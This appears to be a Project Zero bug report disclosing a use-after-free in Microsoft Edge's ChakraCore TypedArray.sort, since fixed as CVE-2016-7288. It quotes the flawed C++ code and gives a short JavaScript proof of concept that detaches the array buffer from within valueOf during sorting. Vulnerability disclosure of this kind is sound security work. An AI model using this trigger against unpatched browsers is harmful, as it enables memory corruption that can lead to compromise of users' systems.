Monorail Project: project-zero Issues People Development process History Sign in
New issue
Advanced search Search tips
Starred by 2 users
Status: Fixed
Owner:
Closed: Feb 2017
Cc:



Sign in to add a comment
Microsoft Edge: Use-after-free in TypedArray.sort
Project Member Reported by natashenka@google.com, Nov 2 2016 Back to list
There is a use-after-free in TypedArray.sort. In TypedArrayCompareElementsHelper (https://chromium.googlesource.com/external/github.com/Microsoft/ChakraCore/+/TimeTravelDebugging/lib/Runtime/Library/TypedArray.cpp), the comparison function is called with the following code:

 Var retVal = CALL_FUNCTION(compFn, CallInfo(CallFlags_Value, 3),
                undefined,
                JavascriptNumber::ToVarWithCheck((double)x, scriptContext),
                JavascriptNumber::ToVarWithCheck((double)y, scriptContext));

            Assert(TypedArrayBase::Is(contextArray[0]));
            if (TypedArrayBase::IsDetachedTypedArray(contextArray[0]))
            {
                JavascriptError::ThrowTypeError(scriptContext, JSERR_DetachedTypedArray, _u("[TypedArray].prototype.sort"));
            }

            if (TaggedInt::Is(retVal))
            {
                return TaggedInt::ToInt32(retVal);
            }

            if (JavascriptNumber::Is_NoTaggedIntCheck(retVal))
            {
                dblResult = JavascriptNumber::GetValue(retVal);
            }
            else
            {
                dblResult = JavascriptConversion::ToNumber_Full(retVal, scriptContext);
            }

The TypeArray is checked to see if it has been detached, but then the return value from the function is converted to an integer, which can invoke valueOf. If this function detaches the TypedArray, one swap is perfomed on the buffer after it is freed.

A minimal PoC is as follows, and a full PoC is attached.

var buf = new ArrayBuffer( 0x10010);
var numbers = new Uint8Array(buf);


function v(){

   postMessage("test", "http://127.0.0.1", [buf])
   return 7;

}

function compareNumbers(a, b) {

  return {valueOf : v};
}

numbers.sort(compareNumbers);

This PoC works on 64-bit systems only.


This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
 
search.html
445 bytes View Download
Project Member Comment 1 by natashenka@google.com, Feb 9 2017
Labels: -Restrict-View-Commit CVE-2016-7288
Fixed in December
Project Member Comment 2 by mjurczyk@google.com, Feb 14 2017
Status: Fixed
Comment 3 Deleted
Sign in to add a comment